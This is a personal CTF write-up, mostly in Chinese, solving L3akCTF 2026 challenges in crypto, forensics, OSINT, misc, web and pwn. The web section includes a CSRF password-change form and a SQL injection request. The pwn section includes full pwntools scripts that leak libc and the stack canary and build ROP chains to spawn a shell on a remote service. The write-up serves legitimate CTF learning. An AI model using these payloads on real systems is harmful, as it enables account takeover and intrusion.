L3akCTF 2026
Table of Contents
我好…怠惰…為什麼要…打CTF….
然後發現最痛苦的是寫Writeup
Beginner #
Sanity Check #

flag
L3AK{w3LCom3_t0_L3AKCTF_2026_H4pPy_H@cK1nG!}
BabyLCG #
import os
FLAG = b"L3AK{??????????????????????????}"
class LCG:
def __init__(self, m):
self.a = int.from_bytes(os.urandom(16), "big") % m
self.c = int.from_bytes(os.urandom(16), "big") % m
self.state = int.from_bytes(os.urandom(16), "big") % m
self.m = m
def next(self):
self.state = (self.a * self.state + self.c) % self.m
return self.state
m = 115792089237316195423570985008687907853269984665640564039457584007913129640233
rng = LCG(m)
s0 = rng.next()
s1 = rng.next()
s2 = rng.next()
key = rng.next()
flag_int = int.from_bytes(FLAG, "big")
ciphertext = flag_int ^ key
print(f"m = {m}")
print(f"s0 = {s0}")
print(f"s1 = {s1}")
print(f"s2 = {s2}")
print(f"ct = {ciphertext}")
s2 − s1 = a·(s1 − s0) mod m → a = (s2−s1)·(s1−s0)⁻¹ mod mc = s1 − a·s0 mod mkey = a·s2 + c mod mflag = ct ⊕ keygcd(s1−s0, m) = 1
所以反元素直接存在,不管 m 是否為質數
故
a = 61922762077714954724422339487460325520c = 268484757612868661764668536000873505602
import os
m = 88044978735773602913395349457408066612245192322881563734438993831688084200491
s0 = 4452065008288242560629390669208864932242141417756588067313178112477164149842
s1 = 30356301725547557665274966292036883630163427635439138410477840356169747135880
s2 = 33330863090985168864945055645699247424789280002692545918305324950320521259312
ct = 8850041716144071587274828779665113489634774808247082181515445941038495956603515
a = (s2 - s1) * pow(s1 - s0, -1, m) % m
c = (s1 - a * s0) % m
key = (a*s2 + c) % m
flag_int = ct ^ key
flag = flag_int.to_bytes((flag_int.bit_length() + 7) // 8, "big")
print(flag.decode('utf-8'))
flag
L3AK{n3v3r_trU5t_b4s1c_LCG5_frfr}
me fr #
Jo! Sp O was tjomlomg/// tu[omg os kist sp jard mpwadaus! :pplomg at upir jamds wjo;e upi tu[e os omfiroatomg. Amuwaus. jeres tje f;ag" :3AL}WJU+D-+1+dP+TJ1S+s-+-f83M///|
每個字都是鍵盤往右一個字,所以要往左對照回去
J -> H
o -> I
所以會變成
Hi! So I was thinking... typing is just so hard nowadays! Looking at your hands while you type is infuriating, Anyways, heres the flag:L3AK{WHY_D0_1_dO_TH1S_s0_0f73N...}
flag
L3AK{WHY_D0_1_dO_TH1S_s0_0f73N...}
Crossroads #

看到電話 可以查到這個
是一個賣地的所以可以看到他大概的位置 在愛達荷州
沿著那邊找可以在google發現一個很類似的十字路口
確定地點
好欸!對了
flag
L3AK{S1gNs_M4k3_051Nt_RaTh3R_SimPLE!}
Get The Flag #
/flag 只有 role === "admin" 才看得到
有一個 admin bot 會登入成 admin 並訪問我提交的 /pages/... 頁面
然後他只會在 POST 時檢查 token
function csrfOnPostOnly(req, res, next) {
if (req.method !== "POST") return next();
if (!req.body.csrf || req.body.csrf !== req.session.csrf) return res.status(403)...
next();
}
所以改密碼的 handler 同時接受 GET 與 POST
app.all("/account/change-password", requireLogin, csrfOnPostOnly, (req, res) => {
...
changePassword(req.session.userId, password); // 用「當前登入者」= admin 的 session
});
所以可以用 /pages/upload 上傳這個
<form id="f" method="POST" action="/account/change-password?_method=GET">
<input type="hidden" name="password" value="Pwned_by_ctf_123">
<input type="hidden" name="confirm" value="Pwned_by_ctf_123">
</form>
<script>document.forms[0].submit();</script>
把回傳的 /pages/<uuid>.html 丟到 /report
bot 以 admin 身份訪問,就會把他的密碼改成 Pwned_by_ctf_123

flag
L3AK{Me7hod_oV3rrid3_c5Rf_Byp45s_g0_BrRRR}
Transcendent Renovation #
Yesterday I got on my computer and noticed a folder I’ve never seen before, NoNeedToWonder. Naturally, I started to wonder. Can you answer some questions about where it came from? All I have is the Jump Lists.
| 項目 | 說明 |
|---|---|
| 路徑 | %APPDATA%\Microsoft\Windows\Recent\AutomaticDestinations\ |
| 檔名 | <AppID>.automaticDestinations-ms,AppID 是應用程式路徑的 hash |
| 容器格式 | OLE Compound File (OLE CF / CFB),magic D0 CF 11 E0 A1 B1 1A E1 |
| 內容 | 每個 stream 是一個完整 LNK,stream 名稱是十六進位的 entry ID |
DestList stream | MRU 清單:entry ID、最後存取時間 (FILETIME)、hostname、Droid GUID、目標路徑 |
OLE 複合文件的 stream 大小只增不減。資料夾改名後,Explorer 用一個較短的新 LNK 從 offset 0 覆寫舊 stream,但 directory entry 的 size 欄位不變,於是舊 LNK 的尾段原封不動留在後面。
stream 46 (867 bytes)
├─ 0x000 ─ 0x1EE 新 LNK (494 B) → "NoNeedToWonder"
└─ 0x1EF ─ 0x362 SLACK (373 B) → "SoulSearch" ← 舊 LNK 殘骸
判斷 slack 的方法:完整走過 LNK 結構算出真正結尾,剩下的就是 slack。
def lnk_end(data):
hs, = struct.unpack_from('<I', data, 0) # HeaderSize = 0x4C
flags, = struct.unpack_from('<I', data, 20) # LinkFlags
off = hs
if flags & 1: # HasLinkTargetIDList
n, = struct.unpack_from('<H', data, off); off += 2 + n
if flags & 2: # HasLinkInfo
n, = struct.unpack_from('<I', data, off); off += n
uni = bool(flags & 0x80) # IsUnicode
for bit in (4, 8, 16, 32, 64): # Name/RelPath/WorkDir/Args/Icon
if flags & bit:
cc, = struct.unpack_from('<H', data, off)
off += 2 + (cc * 2 if uni else cc)
while off < len(data) - 3: # ExtraData blocks
b, = struct.unpack_from('<I', data, off)
if b < 4: break
off += b
return off + 4 # TerminalBlock
先拆 OLE 容器
import olefile
ole = olefile.OleFileIO('f01b4d95cf55d32a.automaticDestinations-ms')
for e in ole.listdir():
open('/'.join(e), 'wb').write(ole.openstream('/'.join(e)).read())
解析 DestList,鎖定 2026 年的異常紀錄
| Offset | 內容 |
|---|---|
0x08 | DroidVolumeId (16B) |
0x18 | DroidFileId (16B) |
0x48 | Hostname (16B ASCII) |
0x58 | Entry ID (u32) → stream 名稱的十六進位 |
0x64 | 最後存取 FILETIME |
0x80 | 路徑字串長度 (u16, 字元數) |
0x82 | 路徑 (UTF-16LE) |
id=70 (0x46) 00:30:15.433 logging-vm C:\Users\Administrator\Desktop\NoNeedToWonder
id=69 (0x45) 00:30:15.397 (空) \\tsclient\HauntedHouse
id=68 (0x44) 00:24:54.414 logging-vm C:\Users\Administrator\Desktop\The Intelligence
id=67 (0x43) 00:20:28.263 logging-vm C:\Users\Administrator\Desktop\Voices
id=66 (0x42) 00:19:46.244 logging-vm C:\Users\Administrator\Desktop\L3AK
70 = 0x46 → 目標是 stream 46
挖 slack,還原原始名稱
stream 46 @ 0x21B 53 00 6f 00 75 00 6c 00 53 00 65 00 61 00 72 00 63 00 68 00
S o u l S e a r c h (UTF-16LE)
stream 46 @ 0x281 "C:\Users\Administrator\Desktop\SoulSearch" (ANSI, LinkInfo)
| 現名 | 原名 | MFT entry/seq |
|---|---|---|
L3AK | New folder | 89724 / 16 |
Voices | Ghosts | 148803 / 10 |
The Intelligence | Artificial Intelligence | 148806 / 11 |
NoNeedToWonder | SoulSearch | 148809 / 11 |
| 證明他們本來是同一個資料夾但是改了名,而不是兩個不同的資料夾 | ||
| TrackerDataBlock 的 DroidFileId 相同 |
新 LNK @0x148 52 b9 2a ec 4d 7e f1 11 89 ad a2 de ad 78 52 ad
slack @0x2BD 52 b9 2a ec 4d 7e f1 11 89 ad a2 de ad 78 52 ad
轉 GUID:{EC2AB952-7E4D-11F1-89AD-A2DEAD7852AD}
Shell item BEEF0004 擴充區塊的 NTFS file reference 相同BEEF0004 v≥7 在 offset 0x14 有 8 bytes 的 MFT reference
49 45 02 00 00 00 0b 00 → entry 0x24549 = 148809, seq 11
新舊兩份都是 148809/11。ObjectID 與 MFT entry 在改名時都不變 → 同一個 NTFS 物件
\\tsclient\HauntedHouse = RDP 用戶端磁碟重導向。stream 45 的佐證:
- LinkInfo 為 network 型別,
netname = \\TSCLIENT\HAUNTEDHOUSE - Shell item 標示 provider “Microsoft Terminal Services”
- 沒有 TrackerDataBlock、DestList 的 Droid 欄位全 0 → 非本機 NTFS 物件
- 屬性
0x10(目錄),首次存取 00:28:16
36 毫秒內的複製軌跡:
00:30:15.397 \\tsclient\HauntedHouse ← 來源
00:30:15.414 knownfolder:{754AC886-...} = This PC ← 中繼
00:30:15.433 C:\Users\Administrator\Desktop\NoNeedToWonder ← 目的地
推論:用非 Windows 的 RDP client(mstsc 預設重導向為 \\tsclient\C,自訂共用名是 FreeRDP /drive:HauntedHouse,<path> 或 rdesktop -r disk: 的特徵)連進 logging-vm,把自己端的目錄掛進來後複製到 Desktop,再改名。
UTC。由 zip 內的本地時間反推時區為 UTC-5,當地時間是 2026-07-12 傍晚。
00:14:48 建立 "New folder"
00:19:07 建立 Waves.txt
00:19:46 改名 → "L3AK";Notepad++ 開啟 L3AK\Waves.txt
00:19:55 建立 "Ghosts"
00:20:28 改名 → "Voices"
00:21:39 建立 "Artificial Intelligence"
00:24:15 建立 "Obvious, All Too Obvious.txt"
00:24:54 改名 → "The Intelligence";Notepad++ 開啟該 txt
00:28:16 首次存取 \\tsclient\HauntedHouse
00:30:10 建立 "SoulSearch"
00:30:15 HauntedHouse → This PC → NoNeedToWonder(複製並改名)

flag
L3AK{P4r4n0rm4l_P4r4ll3l_P47h5}
BabyRF #
| # | 片段 | 驗證方式 |
|---|---|---|
| 1 | L3AK{4uD10_ | 倒放語音逐字:L, 3, A, K, open brace, 4, lowercase u, D, 1, 0, underscore |
| 2 | S1gNaL_ | 唸出 N S L 1 _ a g,用頻譜圖數字 3051642 當位置索引重排 |
| 3 | Pr0C3sS1Ng_ | 頻譜圖倒放文字,逐字放大確認字高:P(大) r(小) 0 C 3 s(小) S(大) 1 N g(有下降部) |
| 4 | R3QU1RES_ | 摩斯:.-. / ...-- / --.- / ..- / .---- / .-. / . / ... / ..--.- |
| 5 | 31337_ | 超音波帶 25.5–34 kHz 頻譜圖文字 |
| 6 | 5K1LLs} | 結尾 4 倍加速語音:「Flag part 6: 5K1LL lowercase s close brace」 |
flag
L3AK{4uD10_S1gNaL_Pr0C3sS1Ng_R3QU1RES_31337_5K1LLs}
Cryptography #
RSA Eclipse #
p、q 選在 Mersenne 數附近,使得 N 的位元表示洩漏了 a·b 與 b,可直接讀出因式分解
p 是 607 bits、q 是 521 bits,這兩個數字都是 Mersenne 質數的指數,因為 2^607−1、2^521−1 都是質數
假設 p = 2^607 − a、q = 2^521 − b,則:N = 2^1128 − b·2^607 − a·2^521 + a·b
因為a·b 遠小於 2^607N mod 2^521 = a·b –> a·b = 0x4ab2db = 4895451D = 2^1128 − N,D >> 607 –> b = 1749
故 a = 4895451 / 1749 = 2799
驗證
p = 2^607 − 2799
q = 2^521 − 1749
p × q == N
E1, E2 = 607, 521 # Mersenne 質數指數 (2^607-1、2^521-1 皆為質數)
e = 65537
N = 3646154850295011369707131011438711095400799139943170490872585628683549034362552065955809589514611470241298944167703929337528884908857116141935206466329730159085752668345654509936331954688615906022854023944431613697568688287347119236246668637626142345227229770764648063010195138432756035056498879142322827510772511775252426866445166513402587
c = 780130031328740731381241557377666116541606927063190613432095157294666504313173452612933931946256744751393203553303107662811734383338538890681670111946446558821571739189651457249936740715582882116998037215610749746023669674781060263244524001085422362588029607510686099014625329616764965784356054346294224270468618614209000880981745855992958
def factor(N, E1, E2):
assert N.bit_length() == E1 + E2
ab = N % (1 << E2) # 低 E2 位 = a*b
D = (1 << (E1 + E2)) - N # 補數
b = D >> E1 # 高位 = b
assert b > 0
a, r = divmod(ab, b)
assert r == 0
p = (1 << E1) - a
q = (1 << E2) - b
assert p * q == N
return p, q, a, b
def decrypt(c, e, p, q, N):
d = pow(e, -1, (p - 1) * (q - 1))
m = pow(c, d, N)
return m.to_bytes((m.bit_length() + 7) // 8, "big")
if __name__ == "__main__":
p, q, a, b = factor(N, E1, E2)
print(f"[+] a = {a} (0x{a:x})")
print(f"[+] b = {b} (0x{b:x})")
print(f"[+] p = 2^{E1} - {a} ({p.bit_length()} bits)")
print(f"[+] q = 2^{E2} - {b} ({q.bit_length()} bits)")
print("[+] p * q == N ✓")
flag = decrypt(c, e, p, q, N)
print(f"[*] flag: {flag.decode(errors='replace')}")

flag
L3AK{Th3_P3numbr4_H1d35_Th3_Fl4w_In_Th3_Mers3nne_V01d}
Immiscible #
import json, hashlib, sys, time
import numpy as np
P, V, O, M, N = 79, 4, 4, 9, 8
BASE = sys.argv[1] if len(sys.argv) > 1 else "crypto_immiscible"
V0RANGE = [int(x) for x in sys.argv[2].split(",")] if len(sys.argv) > 2 else list(range(P))
pub = json.load(open(BASE + "/public.json"))
polys = pub["polynomials"]
target_l = pub["target"]
I32 = np.int32
const = np.array([p["const"] for p in polys], dtype=I32)
lin = np.array([p["linear"] for p in polys], dtype=I32) # (9,8)
Qvv = np.zeros((M, V, V), dtype=I32)
Qvo = np.zeros((M, V, O), dtype=I32)
for k, p in enumerate(polys):
for i, j, c in p["quad"]:
if j < V: Qvv[k, i, j] = c
else: Qvo[k, i, j - V] = c
linV = np.ascontiguousarray(lin[:, :V])
linO = np.ascontiguousarray(lin[:, V:])
tgt = np.array(target_l, dtype=I32)[:, None]
cst = const[:, None]
def eval_public(x):
"""same as chal.py eval_public"""
out = []
for p in polys:
t = p["const"]
for i, c in enumerate(p["linear"]): t += c * x[i]
for i, j, c in p["quad"]: t += c * x[i] * x[j]
out.append(t % P)
return out
def build(Vm):
"""Vm: (4,L) vinegar values -> A (9,4,L), b (9,L) with A(v).o = b(v)"""
tmp = np.einsum('kij,il->kjl', Qvv, Vm) % P
quad = np.einsum('kjl,jl->kl', tmp, Vm) % P
del tmp
linp = np.einsum('ki,il->kl', linV, Vm) % P
b = (tgt - cst - linp - quad) % P
A = (linO[:, :, None] + np.einsum('kij,il->kjl', Qvo, Vm)) % P
return A, b
PAIRS = [((0,1),(2,3), 1), ((0,2),(1,3),-1), ((0,3),(1,2), 1),
((1,2),(0,3), 1), ((1,3),(0,2),-1), ((2,3),(0,1), 1)]
def det4(Mt):
"""Mt[t][j]: 4x4 of arrays. Laplace on rows {0,1}. int32-safe, one mod."""
def m2(t0, t1, a, b): return Mt[t0][a]*Mt[t1][b] - Mt[t0][b]*Mt[t1][a]
tot = None
for (a, b), (c, e), s in PAIRS:
t = m2(0, 1, a, b) * m2(2, 3, c, e)
tot = (s*t) if tot is None else (tot + t if s > 0 else tot - t)
return tot % P
def pass_rowset(A, b, rowset):
"""Cramer on `rowset`, check the other 5 rows. -> (candidates, singular)"""
r = list(rowset)
D = det4([[A[r[t], j] for j in range(4)] for t in range(4)])
Ns = [det4([[(b[r[t]] if j == j0 else A[r[t], j]) for j in range(4)]
for t in range(4)]) for j0 in range(4)]
mask = D != 0
for k in range(M):
if k in rowset: continue
lhs = A[k,0]*Ns[0] + A[k,1]*Ns[1] + A[k,2]*Ns[2] + A[k,3]*Ns[3] - b[k]*D
mask &= (lhs % P == 0)
if not mask.any(): break
return np.nonzero(mask)[0], np.nonzero(D == 0)[0]
def solve_exact(v):
"""exact mod-p gaussian elimination for one vinegar vector"""
rows = []
for k, p in enumerate(polys):
c = p["const"]
for i in range(V): c += p["linear"][i] * v[i]
coef = [p["linear"][V + j] for j in range(O)]
for i, j, cc in p["quad"]:
if j < V: c += cc * v[i] * v[j]
else: coef[j - V] += cc * v[i]
rows.append([x % P for x in coef] + [(target_l[k] - c) % P])
piv, where = 0, []
for col in range(O):
sel = next((r for r in range(piv, M) if rows[r][col]), None)
if sel is None:
where.append(-1); continue
rows[piv], rows[sel] = rows[sel], rows[piv]
inv = pow(rows[piv][col], P - 2, P)
rows[piv] = [x * inv % P for x in rows[piv]]
for r in range(M):
if r != piv and rows[r][col]:
f = rows[r][col]
rows[r] = [(a - f * bb) % P for a, bb in zip(rows[r], rows[piv])]
where.append(piv); piv += 1
for r in range(piv, M):
if rows[r][O]: return []
if -1 in where: # free vars: rare, enumerate
free = [j for j in range(O) if where[j] == -1]
sols = []
for combo in np.ndindex(*[P]*len(free)):
o = [0]*O
for f, val in zip(free, combo): o[f] = val
for j in range(O):
if where[j] != -1:
o[j] = (rows[where[j]][O] - sum(rows[where[j]][jj]*o[jj] for jj in free)) % P
if eval_public(list(v) + o) == target_l: sols.append(o)
return sols
o = [rows[where[j]][O] for j in range(O)]
return [o] if eval_public(list(v) + o) == target_l else []
# fallback rowsets for the ~1/79 of v where the 4x4 minor is singular
ROWSETS = [(0,1,2,3), (4,5,6,7), (0,2,4,6), (1,3,5,7)]
def search(Vm, depth=0):
hits = []
if Vm.shape[1] == 0: return hits
if depth >= len(ROWSETS) or Vm.shape[1] < 64:
for idx in range(Vm.shape[1]):
v = [int(Vm[i, idx]) for i in range(V)]
hits += [v + o for o in solve_exact(v)]
return hits
A, b = build(Vm)
cand, sing = pass_rowset(A, b, ROWSETS[depth])
del A, b
for idx in cand:
v = [int(Vm[i, idx]) for i in range(V)]
hits += [v + o for o in solve_exact(v)]
if len(sing):
hits += search(np.ascontiguousarray(Vm[:, sing]), depth + 1)
return hits
def main():
idx = np.arange(P**3, dtype=I32)
v1, v2, v3 = idx // (P*P), (idx // P) % P, idx % P
t0, found = time.time(), []
for v0 in V0RANGE:
h = search(np.stack([np.full(P**3, v0, dtype=I32), v1, v2, v3]))
if h:
found += h
print("HIT", h, flush=True)
print(f"elapsed {time.time()-t0:.1f}s, solutions: {found}")
from Crypto.Cipher import AES
ct = bytes.fromhex(pub["encrypted_flag"])
for sig in found:
key = hashlib.sha256(bytes(sig)).digest()
print(sig, "->", AES.new(key, AES.MODE_ECB).decrypt(ct))
if __name__ == "__main__":
main()

flag
L3AK{Oil_4ND_v1N3g4r_WitH0ut_Mix1nG_Sp1LL5_eV3rYth1ng}
Forensics #
You Scanned WHAT?!? #
scan.7z 裡是一個 SQLite 檔,只有一張表:
CREATE TABLE projections (
angle_degrees INTEGER PRIMARY KEY,
detector_count INTEGER NOT NULL,
light_values TEXT NOT NULL
)
180 筆資料(0°–179°),每筆是一組浮點數陣列,是一組斷層掃描投影資料,要用 Radon 逆變換還原原圖detector_count 隨角度變化:0° → 497、90° → 215、最大 543W·|cosθ| + H·|sinθ| 推得原圖為 497×215
用 PIL 驗證 Image.new('L',(497,215)).rotate(a, expand=True).size[0],確認前向模型就是旋轉後對每一列求和 ÷ 255

flag
L3AK{Xr4Y_C0mp1373!}
Miscellaneous #
Blunder #
games.pgn 裡有 24 局棋,每局白后從第一步落點之後永遠只走一格,走過的格子在 8×8 棋盤上畫出一個字母
把每局白后拜訪過的所有格子標記在棋盤上(檔 a–h 為 x、列 1–8 為 y),每局剛好是一個 5×5 的點陣字母
| 局 | 字母 | 局 | 字母 | 局 | 字母 | 局 | 字母 |
|---|---|---|---|---|---|---|---|
| 1 | H | 7 | K | 13 | W | 19 | E |
| 2 | A | 8 | E | 14 | I | 20 | Q |
| 3 | R | 9 | E | 15 | T | 21 | U |
| 4 | D | 10 | P | 16 | H | 22 | E |
| 5 | T | 11 | U | 17 | T | 23 | E |
| 6 | O | 12 | P | 18 | H | 24 | N |
flag
L3AK{HARDTOKEEPUPWITHTHEQUEEN}
OSINT #
Overgrown Ruins #



flag
L3AK{D1d_y0U_kNow_th3y_f1lM3D_R0b1N_hOoD_H3r3?_https://movie-locations.com/movies/r/Robin-Hood-Prince-Of-Thieves.php}
Web Exploitation #
catvault - part 1 #
await fetch('/api/settings', {
method: 'POST',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify({ user_id: '1 OR 1=1' })
}).then(r => r.json());

flag
L3AK{i7_Was_a_Very_e4sY_w3b_ch4l13Ng3_soRrY_7o_boRe_you_4ll_WitH_the_Dumb_PRe7eX7_N0w_6o_so1Ve_7h3_rea1_oNe}
Pwn #
LattiaVM #
import sys, socket, time
from pwn import remote # optional; falls back to raw socket below
# ---- offsets from the provided libc.so.6 (glibc 2.42) and lattia-vm binary ----
RETADDR_OFF, EXE_LEAK_OFF, BSS_BUF = 0x29f75, 0x3d90, 0x4040
POPRDI_OFF, RET_OFF, SYSTEM_OFF = 0x2a9b7, 0x2a9b8, 0x54790
d_poprdi, d_system = POPRDI_OFF - RETADDR_OFF, SYSTEM_OFF - RETADDR_OFF
CMD = b"cat /app/fl*\x00"
SPTOP = 300
OPS = "PUSH POP ADD SUB MUL DIV JMP JNE JE JG PRINT DUP SWAP HALT".split()
HAS = {"PUSH","JMP","JNE","JE","JG","SWAP"}
def asm(prog):
lbl={}; off=0; flat=[]
for i in prog:
if i[0]=='L': lbl[i[1]]=off; continue
flat.append(i); off += 1 + (1 if i[0] in HAS else 0)
out=bytearray()
for i in flat:
out.append(OPS.index(i[0]))
if i[0] in HAS:
a=i[1]; a=lbl[a] if isinstance(a,str) else a; out.append(a&0xff)
return bytes(out)
class B:
def __init__(s): s.p=[]; s.sp=0
def E(s,*o,d=0): s.p.append(o); s.sp+=d
def PUSH(s,v): s.E('PUSH',v&0xff,d=1)
def DUP(s): s.E('DUP',d=1)
def ADD(s): s.E('ADD',d=-1)
def MUL(s): s.E('MUL',d=-1)
def SWAP(s,n): s.E('SWAP',n)
def HALT(s): s.E('HALT')
def LBL(s,n): s.p.append(('L',n))
def JNE(s,l): s.E('JNE',l,d=-2)
def mul256(s): s.PUSH(16); s.MUL(); s.PUSH(16); s.MUL()
def const(s,v):
if v<256: s.PUSH(v); return
if v<0x10000:
s.PUSH((v>>8)&0xff); s.mul256()
if v&0xff: s.PUSH(v&0xff); s.ADD()
return
s.PUSH((v>>16)&0xff); s.mul256()
if (v>>8)&0xff: s.PUSH((v>>8)&0xff); s.ADD()
s.mul256()
if v&0xff: s.PUSH(v&0xff); s.ADD()
def get(s,i): s.SWAP(s.sp-1-i)
def put(s,i): s.SWAP(s.sp-1-i)
def dist(s,leak,tgts):
s.get(leak)
for _ in range(len(tgts)-1): s.DUP()
for k,(i,dl) in enumerate(tgts):
if k>0: s.SWAP(k)
if dl is not None: s.const(dl); s.ADD()
s.put(i)
def build(cmd_delta, K=11, LIMIT=23):
b=B()
b.PUSH(0); b.LBL('loop') # grow sp -> 254
for _ in range(K): b.DUP()
b.PUSH(1); b.ADD(); b.DUP(); b.PUSH(LIMIT); b.JNE('loop')
b.sp=1+LIMIT*K
while b.sp<254: b.DUP()
X=SPTOP-1 # sp-alias: set sp -> 300
p=next(q for q in range(2,256) if X%q==0 and X//q<256)
b.PUSH(p); b.PUSH(X//p); b.MUL(); b.DUP(); b.DUP(); b.sp=SPTOP
b.get(262); b.DUP() # libc lows: 262/266/268
b.const(d_poprdi); b.ADD(); b.DUP(); b.put(262)
b.SWAP(1); b.PUSH(1); b.ADD(); b.put(266) # ret = pop_rdi+1
b.SWAP(2); b.const(d_system); b.ADD(); b.put(268)
b.dist(263, [(263,None),(267,None),(269,None)]) # libc highs
b.dist(282, [(264,cmd_delta)]) # exe low -> cmd .bss ptr
b.dist(283, [(265,None)]) # exe high -> cmd high
b.HALT()
return b
def payload():
cd = BSS_BUF + 120 - EXE_LEAK_OFF
for _ in range(12):
code = asm(build(cd).p); off=len(code)
nd = BSS_BUF + off - EXE_LEAK_OFF
if nd==cd: break
cd=nd
full = code + CMD
assert len(full) <= 128, len(full)
return full.hex().encode()
def main():
hx = payload()
print("[*] payload %d bytes / %d hex chars" % (len(hx)//2, len(hx)))
print("[*] hex:", hx.decode())
host = sys.argv[1] if len(sys.argv)>1 else "127.0.0.1"
port = int(sys.argv[2]) if len(sys.argv)>2 else 5000
io = remote(host, port)
io.recvuntil(b"chars:")
io.sendline(hx)
io.recvuntil(b"Goodbye!")
print(io.recvall(timeout=3).decode(errors="replace"))
if __name__ == "__main__":
main()

flag
L3AK{h3ll000_c4ll1ng_fr0m_50-47714-5-1000_4ny0n3_7h3r3}
Rudimentary Calculator #
import mpmath, bisect, re, sys, time
from pwn import *
context.log_level = "info"
mpmath.mp.dps = 200
PRIMES = [2, 3, 5, 7, 11, 13]
LOGf = {p: float(mpmath.log(p, 2)) for p in PRIMES}
# ---- glibc 2.43 (Ubuntu GLIBC 2.43-2ubuntu2) offsets ----
OFF_LEAK = 0x8f4bf # libc offset of the pointer found at product_bignum word 85
OFF_SYSTEM = 0x5c560
OFF_BINSH = 0x1db799
OFF_POPRDI = 0x11bcfa # pop rdi ; ret
OFF_RET = 0x289fe # ret (stack alignment)
R1, R2 = 260, 110 # meet-in-the-middle search bounds
def build_list2():
L7, L11, L13 = LOGf[7], LOGf[11], LOGf[13]
lst = []
for c in range(R2):
cc = c * L7
for d in range(R2):
dd = cc + d * L11
for e in range(R2):
lst.append(((dd + e * L13) % 1.0, c, d, e))
lst.sort()
return lst, [x[0] for x in lst]
def find_exps(T, N, list2, fracs2):
"""prime exponents of a 13-smooth number in [T*2^(32(N-1)), (T+1)*2^(32(N-1)))"""
B = 1 << (32 * (N - 1))
lo, hi = T * B, (T + 1) * B
log_lo = mpmath.log(lo, 2)
width = float(mpmath.log(hi, 2) - log_lo)
tfrac = float(log_lo - int(log_lo))
L3, L5 = LOGf[3], LOGf[5]
for a in range(R1):
aa = a * L3
for b in range(R1):
need = (tfrac - (aa + b * L5)) % 1.0
for base in (need, need - 1.0):
i = bisect.bisect_left(fracs2, base)
for j in (i, i - 1, i + 1):
if 0 <= j < len(fracs2) and base - 1e-13 <= fracs2[j] < base + width + 1e-13:
_, c, d, ee = list2[j]
Q = 3**a * 5**b * 7**c * 11**d * 13**ee
e2 = (lo // Q).bit_length() - 1
for de2 in (0, 1, -1, 2, -2, 3, -3):
cand = (1 << (e2 + de2)) * Q
if lo <= cand < hi:
return {2: e2 + de2, 3: a, 5: b, 7: c, 11: d, 13: ee}
return None
def exps_to_digits(e):
e = dict(e)
for p in PRIMES:
e.setdefault(p, 0)
d = []
d += ["b"] * e[11] + ["d"] * e[13]
k = min(e[3], e[5]); d += ["f"] * k; e[3] -= k; e[5] -= k
k = min(e[2], e[7]); d += ["e"] * k; e[2] -= k; e[7] -= k
d += ["7"] * e[7] + ["5"] * e[5] + ["9"] * (e[3] // 2)
if e[3] % 2: d += ["3"]
d += ["8"] * (e[2] // 3)
r = e[2] % 3
if r == 2: d += ["4"]
elif r == 1: d += ["2"]
return d
def word_expr(T, N, list2, fracs2):
"""expression (product of hex digits) whose value is exactly N words, top word == T"""
e = find_exps(T, N, list2, fracs2)
assert e is not None, "no smooth product for T=%#x N=%d" % (T, N)
P = 1
for p, x in e.items():
P *= p ** x
assert (P >> (32 * (N - 1))) & 0xffffffff == T
assert (P.bit_length() + 31) // 32 == N
digs = exps_to_digits(e)
assert len(digs) < 2040
return "*".join(digs).encode()
def connect_with_banner(target, tries=10):
"""Open the target and wait for the challenge banner, retrying a slow/cold instance."""
for i in range(tries):
io = remote(*target, ssl=True) if isinstance(target, tuple) else process(target)
try:
data = io.recvuntil(b"expression> ", timeout=8)
if b"expression> " in data:
return io
except EOFError:
pass
io.close()
log.warning("no banner (attempt %d/%d) - instance may be down/starting" % (i + 1, tries))
time.sleep(3)
log.error("Server accepts TCP but never sends the banner.\n"
" -> The challenge INSTANCE is not serving. On the L3akCTF platform,\n"
" (re)launch 'rudimentary-calculator' and use the exact host:port it gives,\n"
" then run this again while the instance is alive.")
sys.exit(1)
def solve(target):
list2, fracs2 = build_list2()
io = connect_with_banner(target)
# ---- leak: force product_bignum_len = 102, multiply the live stack by 15 ----
io.sendline(b"1*" * 2048 + b"f")
line = io.recvuntil(b"expression> ", timeout=15)
V = int(re.search(rb"Result: (\d+)", line).group(1))
assert V % 15 == 0
w = [((V // 15) >> (32 * i)) & 0xffffffff for i in range(110)]
canary_lo, canary_hi = w[97], w[98]
libc = (w[85] | (w[86] << 32)) - OFF_LEAK
assert libc & 0xfff == 0, "bad libc base %#x" % libc
system, binsh, poprdi, retg = (libc + OFF_SYSTEM, libc + OFF_BINSH,
libc + OFF_POPRDI, libc + OFF_RET)
log.success("canary = %08x%08x" % (canary_hi, canary_lo))
log.success("libc = %#x" % libc)
lo32, hi32 = lambda x: x & 0xffffffff, lambda x: (x >> 32) & 0xffffffff
words = { # ROP: pop rdi ; "/bin/sh" ; ret ; system
101: lo32(poprdi), 102: hi32(poprdi),
103: lo32(binsh), 104: hi32(binsh),
105: lo32(retg), 106: hi32(retg),
107: lo32(system), 108: hi32(system),
97: canary_lo, 98: canary_hi, # restore the stack canary
}
t0 = time.time()
ops = [(idx, word_expr(words[idx], idx + 1, list2, fracs2))
for idx in sorted(words, reverse=True)] # high index first
log.info("built %d smooth products in %.1fs" % (len(ops), time.time() - t0))
for _, expr in ops:
io.sendline(expr)
io.recvuntil(b"expression> ", timeout=15)
io.sendline(b"quit") # return into the ROP chain
io.sendline(b"cat flag.txt; cat /flag* 2>/dev/null; echo END___")
print(io.recvuntil(b"END___", timeout=6).decode(errors="replace"))
io.interactive()
if __name__ == "__main__":
if len(sys.argv) >= 3:
solve((sys.argv[1], int(sys.argv[2])))
else:
solve("./chall")

flag
L3AK{s3Arch_f0r_Sm0otH}
Result #

明年時間多一點再來打,他們的CTFd做得好乾淨舒服,喜歡 (。・ω・。)ノ♡